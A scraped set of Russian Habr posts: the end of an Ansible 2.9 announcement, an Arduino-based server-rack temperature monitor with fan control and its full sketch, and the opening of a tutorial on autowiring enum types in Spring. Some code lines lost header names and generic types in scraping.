После выпуска Ansible 2.9 мы займемся следующим набором модулей ресурсов для Ansible 2.10, которые можно будет использовать для дальнейшей настройки топологии и политики сети, например [ACL, OSPF и BGP](https://github.com/ansible/community/wiki/Network:-2.10-Roadmap). План развития еще можно корректировать, так что, если у вас есть комментарии, сообщите об этом в [сообществе Ansible Network](https://www.ansible.com/community).
Ресурсы и начало работы
-----------------------
[Пресс-релиз об Ansible Automation Platform](https://www.redhat.com/en/about/press-releases/red-hat-elevates-enterprise-automation-new-red-hat-ansible-automation-platform?sc_cid=701f2000000u72fAAA)
[Блог Ansible Automation Platform](https://www.ansible.com/blog/introducing-red-hat-ansible-automation-platform)
[Будущее доставки контента в Ansible](https://www.ansible.com/blog/the-future-of-ansible-content-delivery)
[Размышления об изменении структуры проекта Ansible](https://www.ansible.com/blog/thoughts-on-restructuring-the-ansible-project) | https://habr.com/ru/post/471896/ | null | ru | null |
# Контроль температуры в серверных шкафах с помощью Ардуино
 В [одном](http://habrahabr.ru/company/flprog/blog/240651/) из предыдущих постов я рассказывал о проектах созданных пользователями программы FLProg. А сегодня я хочу рассказать о системе созданной мною самим.
Серверная на станции где я работаю, как и положено находится в отдельном помещении. Для охлаждения серверов там установлено два кондиционера. К сожалению это обычные бытовые модели, так что регулярно то один, то другой находятся в ремонте. Руководство отдела, зная о моей работе над проектом FLProg, предложило создать систему мониторинга температуры в серверных шкафах, и управления работой их вентиляторов. Информация о текущей температуре должна отображаться на табло в помещении дежурных инженеров, и в случае повышения температуры свыше определенного порога выдавать звуковую сигнализацию. Я взялся за эту работу, и вот что получилось…
Ситуация осложнялась тем что мы находимся где то в 200 километров от ближайшей цивилизации, и собирать систему пришлось из тех запасов что у меня были с собой, плюс что то из старого хлама из кладовок. В наличии у меня были:
1. Arduino Nano
2. Датчик температуры DS18B20
3. Два датчика температуры и влажности DHT-22
4. Четырехстрочный дисплей на 20 символов в строке с платой I2C
Была разработана схема устройства: [Принципиальная схема](http://yadi.sk/i/_iHfF8Jwcusjp/)
Потом разработаны печатные платы:
[Основная плата в программе Sprint-Layout\_6](https://yadi.sk/d/bS0kuRpycusk5)
[Кнопочная плата в программе Sprint-Layout\_6](https://yadi.sk/d/cf16HGWwcusjJ)
Утюга и специальной бумаги для технологии ЛУТ не нашлось так что пришлось вспоминать детство и рисовать платы ручками лаком, выпрошенным у уборщицы.
После первоначальной сборки и заливки пробного скетча возникли первые проблемы. Во первых, реле отказались срабатывать, хотя на катушки приходило 5 вольт. Перед установкой на плату я естественно проверял сопротивление катушек и подавал на них питание с проверкой сработки. Оказалось что реле очень хитрое. Хотя внутри и нет диодов (в обе стороны катушки прозваниваются одинаково), для них играет роль полярность питания на катушках. Скорее всего, у них подмагниченный якорь для снижения тока срабатывания. Из-за этого, релюшки переехали на другую сторону платы. После переезда релюшек все нормально заработало.
Затем была разработана окончательная прошивка для платы.
[Проект в программе FLProg](https://yadi.sk/d/XX-vOXFEcusjL).
**Скетчь**
```
#include
#include
#include
#include
#include "DHT.h"
LiquidCrystal\_I2C \_lcd1(0x3F, 20, 4);
int \_dispTempLength1=0;
boolean \_isNeedClearDisp1;
byte \_d18x2x1Addr[8]={0x28, 0xFF, 0x11, 0x94, 0x3C, 0x4, 0x0, 0x48};
DHT \_dht1(11, DHT22);
OneWire \_ow10(10);
bool \_gtv1 = 0;
bool \_gtv3 = 0;
bool \_gtv4 = 0;
bool \_gtv5 = 0;
int \_gtv2 = 23;
int \_gtv6 = 27;
int \_gtv7 = 30;
int \_gtv8 = 35;
int \_gtv9 = 0;
bool \_gtv10 = 0;
String \_gtv11 = "\_C";
bool \_gtv12 = 0;
bool \_gtv13 = 0;
float \_gtv14 = 0;
float \_gtv15 = 0;
bool \_gtv16 = 0;
int \_gtv17 = 10;
bool \_gtv18 = 0;
bool \_gtv19 = 0;
bool \_gtv20 = 0;
bool \_gtv21 = 0;
bool \_gtv22 = 0;
bool \_gtv23 = 0;
bool \_gtv24 = 0;
bool \_gtv25 = 0;
bool \_gtv26 = 0;
bool \_gtv27 = 0;
bool \_gtv28 = 0;
bool \_trgrt9 = 0;
bool \_trgrt9I = 0;
bool \_bounse1S = 0;
bool \_bounse1O = 0;
unsigned long \_bounse1P = 0UL;
bool \_trgrt4 = 0;
bool \_trgrt4I = 0;
bool \_bounse2S = 0;
bool \_bounse2O = 0;
unsigned long \_bounse2P = 0UL;
bool \_trgrt5 = 0;
bool \_trgrt5I = 0;
bool \_bounse3S = 0;
bool \_bounse3O = 0;
unsigned long \_bounse3P = 0UL;
bool \_trgrt8 = 0;
bool \_trgrt8I = 0;
bool \_count1I = 0;
int \_count1P = 0;
bool \_tim1I = 0;
bool \_tim1O = 0;
unsigned long \_tim1P = 0UL;
bool \_trgrt1 = 0;
bool \_trgrt1I = 0;
bool \_trgrt2 = 0;
bool \_trgrt2I = 0;
bool \_trgrt3 = 0;
bool \_trgrt3I = 0;
int \_disp1oldLength = 0;
String \_mux1;
int \_disp3oldLength = 0;
int \_disp4oldLength = 0;
int \_disp5oldLength = 0;
int \_disp6oldLength = 0;
int \_disp7oldLength = 0;
String \_swi2;
String \_swi3;
int \_disp2oldLength = 0;
String \_mux2;
int \_disp8oldLength = 0;
int \_disp9oldLength = 0;
int \_disp10oldLength = 0;
int \_disp11oldLength = 0;
int \_disp12oldLength = 0;
String \_swi4;
String \_swi5;
bool \_trgrt10 = 0;
bool \_trgrt10I = 0;
bool \_trgrt11 = 0;
bool \_trgrt11I = 0;
bool \_trgrt12 = 0;
bool \_trgrt12I = 0;
bool \_trgrt13 = 0;
bool \_trgrt13I = 0;
unsigned long \_d18x2x1Tti = 0UL;
float \_d18x2x1O = 0.00;
unsigned long \_dht1Tti = 0UL;
float \_dht1t = 0.00;
float \_dht1h = 0.00;
bool \_trgr1 = 0;
bool \_trgr2 = 0;
bool \_trgrt6 = 0;
bool \_trgrt6I = 0;
bool \_trgr3 = 0;
bool \_trgr4 = 0;
bool \_trgrt7 = 0;
bool \_trgrt7I = 0;
bool \_trgr5 = 0;
bool \_pzs1OES = 0;
int \_pzs1OFS = 0;
bool \_gen1I = 0;
bool \_gen1O = 0;
unsigned long \_gen1P = 0UL;
int \_swi1;
bool \_D1B1 = 0;
bool \_gen2I = 0;
bool \_gen2O = 0;
unsigned long \_gen2P = 0UL;
String \_swi6;
int \_disp13oldLength = 0;
bool \_SEEPR1OSN = 0;
bool \_SEEPR2OSN = 0;
bool \_SEEPR3OSN = 0;
bool \_SEEPR4OSN = 0;
void setup()
{
Wire.begin();
pinMode(12, OUTPUT);
pinMode(4, OUTPUT);
pinMode(3, OUTPUT);
pinMode(2, OUTPUT);
\_lcd1.init();
\_lcd1.noBacklight();
\_dht1.begin();
}
void loop()
{if(\_isTimer(\_dht1Tti, 6000)) {
\_dht1Tti = millis();
float tempDht11;
tempDht11 = \_dht1.readTemperature();
if (!(isnan(tempDht11))){\_dht1t=tempDht11; }
}if (\_isNeedClearDisp1) {\_lcd1.clear(); \_isNeedClearDisp1= 0;}
if (1) { if (\_trgrt9I) { \_trgrt9 = 0;} else {\_trgrt9 = 1; \_trgrt9I = 1;} } else {\_trgrt9 = 0; \_trgrt9I = 0;};
if (\_trgrt9) {
\_gtv6 = (EEPROMReadInt(0));
}
if (\_trgrt9) {
\_gtv7 = (EEPROMReadInt(2));
}
if (\_trgrt9) {
\_gtv2 = (EEPROMReadInt(4));
}
if (\_trgrt9) {
\_gtv8 = (EEPROMReadInt(6));
}
bool \_bounceTmp1 = ! (( (analogRead (3))) > (500));
if (\_bounse1S)
{
if (millis() >= (\_bounse1P + 40))
{\_bounse1O= \_bounceTmp1; \_bounse1S=0;}
}
else
{
if (\_bounceTmp1 != \_bounse1O )
{\_bounse1S=1; \_bounse1P = millis();}
}
if (\_bounse1O) { if (\_trgrt4I) { \_trgrt4 = 0;} else {\_trgrt4 = 1; \_trgrt4I = 1;} } else {\_trgrt4 = 0; \_trgrt4I = 0;};
\_gtv3 = \_bounse1O;
\_gtv12 = (\_trgrt4) && (!(\_gtv20)) ;
bool \_bounceTmp2 = ! (( (analogRead (2))) > (500));
if (\_bounse2S)
{
if (millis() >= (\_bounse2P + 40))
{\_bounse2O= \_bounceTmp2; \_bounse2S=0;}
}
else
{
if (\_bounceTmp2 != \_bounse2O )
{\_bounse2S=1; \_bounse2P = millis();}
}
if (\_bounse2O) { if (\_trgrt5I) { \_trgrt5 = 0;} else {\_trgrt5 = 1; \_trgrt5I = 1;} } else {\_trgrt5 = 0; \_trgrt5I = 0;};
\_gtv4 = \_bounse2O;
\_gtv13 = (\_trgrt5) && (!(\_gtv20)) ;
bool \_bounceTmp3 = ! (( (analogRead (1))) > (500));
if (\_bounse3S)
{
if (millis() >= (\_bounse3P + 40))
{\_bounse3O= \_bounceTmp3; \_bounse3S=0;}
}
else
{
if (\_bounceTmp3 != \_bounse3O )
{\_bounse3S=1; \_bounse3P = millis();}
}
if (\_bounse3O) { if (\_trgrt8I) { \_trgrt8 = 0;} else {\_trgrt8 = 1; \_trgrt8I = 1;} } else {\_trgrt8 = 0; \_trgrt8I = 0;};
\_gtv5 = \_bounse3O;
\_gtv19 = (\_trgrt8) && (!(\_gtv20)) ;
if (\_gtv19)
{
if (! \_count1I)
{
\_count1P = \_count1P+1;
\_count1I = 1;
}
}
else
{
\_count1I=0;
}
if (\_count1P < 0 ) \_count1P = 0;
if ( (\_gtv1) || (\_gtv10) ) \_count1P = 0;
if (\_gtv5) { if (\_trgrt1I) { \_trgrt1 = 0;} else {\_trgrt1 = 1; \_trgrt1I = 1;} } else {\_trgrt1 = 0; \_trgrt1I = 0;};
if (\_gtv3) { if (\_trgrt2I) { \_trgrt2 = 0;} else {\_trgrt2 = 1; \_trgrt2I = 1;} } else {\_trgrt2 = 0; \_trgrt2I = 0;};
if (\_gtv4) { if (\_trgrt3I) { \_trgrt3 = 0;} else {\_trgrt3 = 1; \_trgrt3I = 1;} } else {\_trgrt3 = 0; \_trgrt3I = 0;};
if ( ((\_count1P) > (0)) && ((! (\_trgrt1) || (\_trgrt2) || (\_trgrt3) )) )
{
if (\_tim1I)
{
if ( \_isTimer(\_tim1P, 60000)) \_tim1O = 1;
}
else
{
\_tim1I = 1;
\_tim1P = millis();
}
}
else
{
\_tim1O = 0;
\_tim1I = 0;
}
\_gtv9 = \_count1P;
\_gtv1 = \_count1P >= 5;
\_gtv10 = \_tim1O;
if((\_gtv9) == 0) {\_mux1 = String("Terst");}
if((\_gtv9) == 1) {\_mux1 = String("Value Off");}
if((\_gtv9) == 2) {\_mux1 = String("Value 1 On");}
if((\_gtv9) == 3) {\_mux1 = String("Value 2 On");}
if((\_gtv9) == 4) {\_mux1 = String("Value Alarm");}
if ((\_gtv9) > (0)) {
\_dispTempLength1 = ((\_mux1)).length();
if (\_disp1oldLength > \_dispTempLength1) {\_isNeedClearDisp1 = 1;}
\_disp1oldLength = \_dispTempLength1;
\_lcd1.setCursor(int((20 - \_dispTempLength1)/2), 0);
\_lcd1.print((\_mux1));
} else {
if (\_disp1oldLength > 0) {\_isNeedClearDisp1 = 1; \_disp1oldLength = 0;}
}
if ((0) == (\_gtv9)) {
\_dispTempLength1 = (String("SU T:")).length();
if (\_disp3oldLength > \_dispTempLength1) {\_isNeedClearDisp1 = 1;}
\_disp3oldLength = \_dispTempLength1;
\_lcd1.setCursor(0, 0);
\_lcd1.print(String("SU T:"));
} else {
if (\_disp3oldLength > 0) {\_isNeedClearDisp1 = 1; \_disp3oldLength = 0;}
}
if ((0) == (\_gtv9)) {
\_dispTempLength1 = ((( \_floatToStringWitRaz(\_gtv14,1)))).length();
if (\_disp4oldLength > \_dispTempLength1) {\_isNeedClearDisp1 = 1;}
\_disp4oldLength = \_dispTempLength1;
\_lcd1.setCursor(5, 0);
\_lcd1.print((( \_floatToStringWitRaz(\_gtv14,1))));
} else {
if (\_disp4oldLength > 0) {\_isNeedClearDisp1 = 1; \_disp4oldLength = 0;}
}
if ((0) == (\_gtv9)) {
\_dispTempLength1 = (String("C")).length();
if (\_disp5oldLength > \_dispTempLength1) {\_isNeedClearDisp1 = 1;}
\_disp5oldLength = \_dispTempLength1;
\_lcd1.setCursor(9, 0);
\_lcd1.print(String("C"));
} else {
if (\_disp5oldLength > 0) {\_isNeedClearDisp1 = 1; \_disp5oldLength = 0;}
}
if(\_gtv21)
{\_swi2=String("\*");}
else
{\_swi2=String("-");}
if ((0) == (\_gtv9)) {
\_dispTempLength1 = ((\_swi2)).length();
if (\_disp6oldLength > \_dispTempLength1) {\_isNeedClearDisp1 = 1;}
\_disp6oldLength = \_dispTempLength1;
\_lcd1.setCursor(11, 0);
\_lcd1.print((\_swi2));
} else {
if (\_disp6oldLength > 0) {\_isNeedClearDisp1 = 1; \_disp6oldLength = 0;}
}
if(\_gtv22)
{\_swi3=String("\*");}
else
{\_swi3=String("-");}
if ((0) == (\_gtv9)) {
\_dispTempLength1 = ((\_swi3)).length();
if (\_disp7oldLength > \_dispTempLength1) {\_isNeedClearDisp1 = 1;}
\_disp7oldLength = \_dispTempLength1;
\_lcd1.setCursor(13, 0);
\_lcd1.print((\_swi3));
} else {
if (\_disp7oldLength > 0) {\_isNeedClearDisp1 = 1; \_disp7oldLength = 0;}
}
if((\_gtv9) == 0) {\_mux2 = String("test");}
if((\_gtv9) == 1) {\_mux2 = (((String(\_gtv2))) + (\_gtv11));}
if((\_gtv9) == 2) {\_mux2 = (((String(\_gtv6))) + (\_gtv11));}
if((\_gtv9) == 3) {\_mux2 = (((String(\_gtv7))) + (\_gtv11));}
if((\_gtv9) == 4) {\_mux2 = (((String(\_gtv8))) + (\_gtv11));}
if ((\_gtv9) > (0)) {
\_dispTempLength1 = ((\_mux2)).length();
if (\_disp2oldLength > \_dispTempLength1) {\_isNeedClearDisp1 = 1;}
\_disp2oldLength = \_dispTempLength1;
\_lcd1.setCursor(int((20 - \_dispTempLength1)/2), 1);
\_lcd1.print((\_mux2));
} else {
if (\_disp2oldLength > 0) {\_isNeedClearDisp1 = 1; \_disp2oldLength = 0;}
}
if ((0) == (\_gtv9)) {
\_dispTempLength1 = (String("CU T:")).length();
if (\_disp8oldLength > \_dispTempLength1) {\_isNeedClearDisp1 = 1;}
\_disp8oldLength = \_dispTempLength1;
\_lcd1.setCursor(0, 1);
\_lcd1.print(String("CU T:"));
} else {
if (\_disp8oldLength > 0) {\_isNeedClearDisp1 = 1; \_disp8oldLength = 0;}
}
if ((0) == (\_gtv9)) {
\_dispTempLength1 = ((( \_floatToStringWitRaz(\_gtv15,1)))).length();
if (\_disp9oldLength > \_dispTempLength1) {\_isNeedClearDisp1 = 1;}
\_disp9oldLength = \_dispTempLength1;
\_lcd1.setCursor(5, 1);
\_lcd1.print((( \_floatToStringWitRaz(\_gtv15,1))));
} else {
if (\_disp9oldLength > 0) {\_isNeedClearDisp1 = 1; \_disp9oldLength = 0;}
}
if ((0) == (\_gtv9)) {
\_dispTempLength1 = (String("C")).length();
if (\_disp10oldLength > \_dispTempLength1) {\_isNeedClearDisp1 = 1;}
\_disp10oldLength = \_dispTempLength1;
\_lcd1.setCursor(9, 1);
\_lcd1.print(String("C"));
} else {
if (\_disp10oldLength > 0) {\_isNeedClearDisp1 = 1; \_disp10oldLength = 0;}
}
if(\_gtv23)
{\_swi4=String("\*");}
else
{\_swi4=String("-");}
if ((0) == (\_gtv9)) {
\_dispTempLength1 = ((\_swi4)).length();
if (\_disp11oldLength > \_dispTempLength1) {\_isNeedClearDisp1 = 1;}
\_disp11oldLength = \_dispTempLength1;
\_lcd1.setCursor(11, 1);
\_lcd1.print((\_swi4));
} else {
if (\_disp11oldLength > 0) {\_isNeedClearDisp1 = 1; \_disp11oldLength = 0;}
}
if(\_gtv24)
{\_swi5=String("\*");}
else
{\_swi5=String("-");}
if ((0) == (\_gtv9)) {
\_dispTempLength1 = ((\_swi5)).length();
if (\_disp12oldLength > \_dispTempLength1) {\_isNeedClearDisp1 = 1;}
\_disp12oldLength = \_dispTempLength1;
\_lcd1.setCursor(13, 1);
\_lcd1.print((\_swi5));
} else {
if (\_disp12oldLength > 0) {\_isNeedClearDisp1 = 1; \_disp12oldLength = 0;}
}
if ( (\_gtv5) && (\_gtv3) && (\_gtv4) ) { if (\_trgrt10I) { \_trgrt10 = 0;} else {\_trgrt10 = 1; \_trgrt10I = 1;} } else {\_trgrt10 = 0; \_trgrt10I = 0;};
if ( (\_gtv12) && ((\_gtv9) == (1)) ) {
\_gtv2 = (\_gtv2)+(1);
}
if ( ((\_gtv9) == (1)) && (\_gtv13) ) {
\_gtv2 = (\_gtv2)-(1);
}
if (\_trgrt10) {
\_gtv2 = 25;
}
\_gtv25 = ( (\_gtv12) && ((\_gtv9) == (1)) ) || ( ((\_gtv9) == (1)) && (\_gtv13) ) || (\_trgrt10) ;
if ( (\_gtv5) && (\_gtv3) && (\_gtv4) ) { if (\_trgrt11I) { \_trgrt11 = 0;} else {\_trgrt11 = 1; \_trgrt11I = 1;} } else {\_trgrt11 = 0; \_trgrt11I = 0;};
if ( (\_gtv12) && ((\_gtv9) == (2)) ) {
\_gtv6 = (\_gtv6)+(1);
}
if ( ((\_gtv9) == (2)) && (\_gtv13) ) {
\_gtv6 = (\_gtv6)-(1);
}
if (\_trgrt11) {
\_gtv6 = 27;
}
\_gtv26 = ( (\_gtv12) && ((\_gtv9) == (2)) ) || ( ((\_gtv9) == (2)) && (\_gtv13) ) || (\_trgrt11) ;
if ( (\_gtv5) && (\_gtv3) && (\_gtv4) ) { if (\_trgrt12I) { \_trgrt12 = 0;} else {\_trgrt12 = 1; \_trgrt12I = 1;} } else {\_trgrt12 = 0; \_trgrt12I = 0;};
if ( (\_gtv12) && ((\_gtv9) == (3)) ) {
\_gtv7 = (\_gtv7)+(1);
}
if ( ((\_gtv9) == (3)) && (\_gtv13) ) {
\_gtv7 = (\_gtv7)-(1);
}
if (\_trgrt12) {
\_gtv7 = 30;
}
\_gtv27 = ( (\_gtv12) && ((\_gtv9) == (3)) ) || ( ((\_gtv9) == (3)) && (\_gtv13) ) || (\_trgrt12) ;
if ( (\_gtv5) && (\_gtv3) && (\_gtv4) ) { if (\_trgrt13I) { \_trgrt13 = 0;} else {\_trgrt13 = 1; \_trgrt13I = 1;} } else {\_trgrt13 = 0; \_trgrt13I = 0;};
if ( (\_gtv12) && ((\_gtv9) == (4)) ) {
\_gtv8 = (\_gtv8)+(1);
}
if ( ((\_gtv9) == (4)) && (\_gtv13) ) {
\_gtv8 = (\_gtv8)-(1);
}
if (\_trgrt13) {
\_gtv8 = 35;
}
\_gtv28 = ( (\_gtv12) && ((\_gtv9) == (4)) ) || ( ((\_gtv9) == (4)) && (\_gtv13) ) || (\_trgrt13) ;
if(\_isTimer(\_d18x2x1Tti, 5000)) {
\_d18x2x1Tti = millis();
\_d18x2x1O= \_readDS18\_ow10(\_d18x2x1Addr, 0);}
\_gtv14 = (\_d18x2x1O);
\_gtv15 = \_dht1t;
if(((int((\_gtv14)\*(\_gtv17)))) < ((\_gtv2)\*(\_gtv17))) \_trgr1 = 0;
if(((int((\_gtv14)\*(\_gtv17)))) > ((\_gtv6)\*(\_gtv17))) \_trgr1 = 1;
if(((int((\_gtv14)\*(\_gtv17)))) < ((\_gtv2)\*(\_gtv17))) \_trgr2 = 0;
if(((int((\_gtv14)\*(\_gtv17)))) > ((\_gtv7)\*(\_gtv17))) \_trgr2 = 1;
if (((int((\_gtv14)\*(\_gtv17)))) > ((\_gtv17)\*(\_gtv8))) { if (\_trgrt6I) { \_trgrt6 = 0;} else {\_trgrt6 = 1; \_trgrt6I = 1;} } else {\_trgrt6 = 0; \_trgrt6I = 0;};
if(((int((\_gtv17)\*(\_gtv15)))) < ((\_gtv2)\*(\_gtv17))) \_trgr3 = 0;
if(((int((\_gtv17)\*(\_gtv15)))) > ((\_gtv6)\*(\_gtv17))) \_trgr3 = 1;
if(((int((\_gtv17)\*(\_gtv15)))) < ((\_gtv2)\*(\_gtv17))) \_trgr4 = 0;
if(((int((\_gtv17)\*(\_gtv15)))) > ((\_gtv7)\*(\_gtv17))) \_trgr4 = 1;
if (((int((\_gtv17)\*(\_gtv15)))) > ((\_gtv17)\*(\_gtv8))) { if (\_trgrt7I) { \_trgrt7 = 0;} else {\_trgrt7 = 1; \_trgrt7I = 1;} } else {\_trgrt7 = 0; \_trgrt7I = 0;};
\_gtv16 = \_trgrt6;
\_gtv21 = \_trgr1;
digitalWrite(12, \_trgr1);
digitalWrite(3, \_trgr3);
\_gtv18 = \_trgrt7;
\_gtv23 = \_trgr3;
\_gtv22 = \_trgr2;
digitalWrite(4, \_trgr2);
digitalWrite(2, \_trgr4);
\_gtv24 = \_trgr4;
if( (\_gtv5) || (\_gtv3) || (\_gtv4) ) \_trgr5 = 0;
if( (\_gtv16) || (\_gtv18) ) \_trgr5 = 1;
if (\_trgr5)
{
if (! \_gen1I)
{
\_gen1I = 1;
\_gen1O = 1;
\_gen1P = millis();
}
}
else
{
\_gen1I = 0 ;
\_gen1O= 0;
}
if (\_gen1I )
{
if ( \_isTimer ( \_gen1P , 500 ))
{
\_gen1P = millis();
\_gen1O = ! \_gen1O;
}
}
if( (!(\_trgr5)) || (\_gen1O) ) {if(! \_D1B1){\_lcd1.backlight(); \_D1B1=1; }} else {if(\_D1B1){\_lcd1.noBacklight(); \_D1B1=0; }}
if(\_gen1O)
{\_swi1=3000;}
else
{\_swi1=2500;}
if(\_trgr5)
{if((!\_pzs1OES) || (\_swi1 != \_pzs1OFS)){ tone(13, (\_swi1)); \_pzs1OES =1;\_pzs1OFS = \_swi1;}} else {if(\_pzs1OES){noTone(13); \_pzs1OES =0; }}
\_gtv20 = \_trgr5;
if (1)
{
if (! \_gen2I)
{
\_gen2I = 1;
\_gen2O = 1;
\_gen2P = millis();
}
}
else
{
\_gen2I = 0 ;
\_gen2O= 0;
}
if (\_gen2I )
{
if ( \_isTimer ( \_gen2P , 1000 ))
{
\_gen2P = millis();
\_gen2O = ! \_gen2O;
}
}
if(\_gen2O)
{\_swi6=String("----");}
else
{\_swi6=String("\*\*\*\*");}
if (1) {
\_dispTempLength1 = ((\_swi6)).length();
if (\_disp13oldLength > \_dispTempLength1) {\_isNeedClearDisp1 = 1;}
\_disp13oldLength = \_dispTempLength1;
\_lcd1.setCursor(int((20 - \_dispTempLength1)/2), 2);
\_lcd1.print((\_swi6));
} else {
if (\_disp13oldLength > 0) {\_isNeedClearDisp1 = 1; \_disp13oldLength = 0;}
}
if(\_gtv26){ if(!\_SEEPR1OSN){ EEPROMWriteInt(0, \_gtv6); \_SEEPR1OSN=1;} }else{ if(\_SEEPR1OSN){\_SEEPR1OSN=0;}}
if(\_gtv27){ if(!\_SEEPR2OSN){ EEPROMWriteInt(2, \_gtv7); \_SEEPR2OSN=1;} }else{ if(\_SEEPR2OSN){\_SEEPR2OSN=0;}}
if(\_gtv25){ if(!\_SEEPR3OSN){ EEPROMWriteInt(4, \_gtv2); \_SEEPR3OSN=1;} }else{ if(\_SEEPR3OSN){\_SEEPR3OSN=0;}}
if(\_gtv28){ if(!\_SEEPR4OSN){ EEPROMWriteInt(6, \_gtv8); \_SEEPR4OSN=1;} }else{ if(\_SEEPR4OSN){\_SEEPR4OSN=0;}}
}
bool \_isTimer(unsigned long startTime, unsigned long period )
{
unsigned long endTime;
endTime = startTime+period;
return (millis() >= endTime);
}
String \_floatToStringWitRaz(float value, int raz)
{
float tv;
int ti = int(value);
String ts = String(ti);
if (raz == 0) {
return ts;
}
ts += ".";
float tf = abs(value - ti);
for (int i = 1; i <= raz; i++ )
{
tv = tf \* 10;
ti = int(tv);
ts += String(ti);
tf = (tv - ti);
}
return ts;
}
float \_convertDS18x2xData(byte type\_s, byte data[12])
{
int16\_t raw = (data[1] << 8) | data[0];
if (type\_s)
{
raw = raw << 3;
if (data[7] == 0x10) { raw = (raw & 0xFFF0) + 12 - data[6]; }
}
else
{
byte cfg = (data[4] & 0x60);
if (cfg == 0x00) raw = raw & ~7; else if (cfg == 0x20) raw = raw & ~3; else if (cfg == 0x40) raw = raw & ~1;
}
return (float)raw / 16.0;
}
float \_readDS18\_ow10(byte addr[8], byte type\_s)
{ byte data[12];
byte i;
\_ow10.reset();
\_ow10.select(addr);
\_ow10.write(0xBE);
for ( i = 0; i < 9; i++) {
data[i] = \_ow10.read();}
\_ow10.reset();
\_ow10.select(addr);
\_ow10.write(0x44, 1);
return \_convertDS18x2xData(type\_s, data);}int EEPROMReadInt(int p\_address)
{
byte lowByte = EEPROM.read(p\_address);
byte highByte = EEPROM.read(p\_address + 1);
return ((lowByte << 0) & 0xFF) + ((highByte << 8) & 0xFF00);
}
void EEPROMWriteInt(int p\_address, int p\_value)
{
byte lowByte = ((p\_value >> 0) & 0xFF);
byte highByte = ((p\_value >> 8) & 0xFF);
EEPROM.write(p\_address, lowByte);
EEPROM.write(p\_address + 1, highByte);
}
```
Как работает система.
При подаче питания на контроллер, из EEPROM вычитываются уставки порогов включения ступеней вентиляторов шкафов, и аварийной сигнализации.
Каждые 5 секунд считываются данные из датчиков и отображаются на дисплее. При превышении температуры в шкафу первого порога включается первый вентилятор, второго порога – второй, а при превышении порога аварийной температуры включается двухтональная звуковая сигнализация и начинает моргать подсветка дисплея. Квитирование аварии происходит при нажатии любой из кнопок. При падении температуры ниже уставки отключения вентиляторов оба вентилятора останавливаются.
При каждом нажатии кнопки “Меню” на экран дисплея выводится последовательно все уставки. Каждую уставку можно изменить кнопками “Прибавить” и “Убавить”. При этом новое значение уставки сразу записывается в EEPROM.
Если в течение 1 минуты не производить никаких действий с кнопками происходит переход на основной экран индикации температуры
При нажатии сразу трех кнопок все уставки сбрасываются на начальные значения, записанные в программе. Это необходимо при первом запуске контроллера, когда в EEPROM находятся непредсказуемые значения. У меня, например, аварийная температура оказалась 387 градусов, и я бы очень устал ее сваливать до 35 градусов нажатиями на кнопку “Убавить”.
Запуск системы на столе и прогрев датчиков феном показал работоспособность программы.
Были установлены датчики и проложены кабеля до шкафов
Во время пробной эксплуатации выяснились следующая тонкость.
Во первых, ни в коем случае нельзя прокладывать кабеля к датчикам вместе с кабелями к вентиляторам. Я совершил эту ошибку, понадеявшись на малые токи вентиляторов. В результате время от времени при остановке вентилятора контроллер зависал. После разнесения кабелей на расстояние друг от друга эти зависания прекратились. Возможно так же помогло – бы применение экранированных проводов к датчикам, но таковых в наличии не было.
Прошу не обращать внимание на оригинальное крепление дисплея, но я посчитал слишком жирно ставить четырехстрочный дисплей на постоянную основу, и на следующей вахте заменю его на двухстрочный.
На текущий момент система работает третью неделю без зависанй и отказов 24/7.
Теперь немного гик-порно. Я не удержался и распотрошил сгоревший датчик DHT-22. Внутри он оказался очень умным.
 | https://habr.com/ru/post/244083/ | null | ru | null |
# Spring и @Autowired для ENUM-типов. Факультатив
Как известно, в Spring нельзя сделать бины для перечисляемых типов без «костылей» — у этого типа «нет» конструктора.
> Caused by: org.springframework.beans.factory.BeanCreationException: Error creating bean with name 'demoEnum0' defined in file [...\DemoEnum0.class]: Instantiation of bean failed; nested exception is org.springframework.beans.BeanInstantiationException: Could not instantiate bean class [ru.itbasis.demo.spring.enums.DemoEnum0]: No default constructor found; nested exception is java.lang.NoSuchMethodException: ru.itbasis.demo.spring.enums.DemoEnum0.()
([коммит](https://github.com/BorzdeG/ru.itbasis.demo.demo.spring-enums/tree/41cdf67a3f4514d0eaab4a7342fafe3ea40a46ae))
В данном посте я попробую обойти это ограничение.
#### Шаг 1. Подменяем factory-метод
Создадим класс `EnumHandlerBeanFactoryPostProcessor`, реализующий интерфейс `BeanFactoryPostProcessor`.
```
@Component
public class EnumHandlerBeanFactoryPostProcessor implements BeanFactoryPostProcessor {
private static final transient Logger LOG = LoggerFactory.getLogger(EnumHandlerBeanFactoryPostProcessor.class.getName());
@Override
public void postProcessBeanFactory(final ConfigurableListableBeanFactory beanFactory) throws BeansException {
final String[] beanDefinitionNames = beanFactory.getBeanDefinitionNames();
for (String beanDefinitionName : beanDefinitionNames) {
final BeanDefinition beanDefinition = beanFactory.getBeanDefinition(beanDefinitionName);
LOG.debug("beanDefinitionName: {}", beanDefinitionName);
final String beanClassName = beanDefinition.getBeanClassName();
LOG.debug("beanClassName: {}", beanClassName);
try {
final Class beanClass = Class.forName(beanClassName);
if (beanClass.isEnum()) {
LOG.trace("found ENUM class: {}", beanClass);
LOG.trace("interfaces: {}", beanClass.getInterfaces());
beanDefinition.setFactoryMethodName("values");
}
} catch (ClassNotFoundException e) {
LOG.error(e.getMessage(), e);
}
}
}
}
```
Здесь мы ищем в будущих бинах все классы типа ENUM и заменяем для них factory-конструктор на вызов метода “values” от бина. Теперь результатом при создании данного бина будет не ошибка, а массив из его констант.
([коммит](https://github.com/BorzdeG/ru.itbasis.demo.demo.spring-enums/tree/1b50b3bdf5f4b1dc6343be8173cecabefe927db1))
Но этого недостаточно – Spring не даст просто взять, да и подсунуть созданный бин, ибо нельзя получить такой бин по его типу.
«Ну да лиха беда начало», сказал Иван-дурак, да пошёл копать дальше.
#### Шаг 2. «Черновые» работы
«Обернём» наш enum-тип в интерфейс и в тестируемом классе изменим тип с enum-типа на ````
Set:
public interface IEnum {
}
```
```
@Component
public class SpringEnum {
@Autowired(required = false)
private Set fieldEnumSet;
public Set getFieldEnum() {
return fieldEnumSet;
}
}
```
И добавим новую аннотацию @EnumAnnotation на базе аннотации @Component
```
@Retention(RetentionPolicy.RUNTIME)
@Target(ElementType.TYPE)
@Component
public @interface EnumAnnotation {
}
```
```
@EnumAnnotation
public enum DemoEnum0 implements IEnum {
VALUE_0, VALUE_1
}
```
([коммит](https://github.com/BorzdeG/ru.itbasis.demo.demo.spring-enums/tree/2dd002ec3cf9cb53d52db5e35b570d15a11bdfc0))
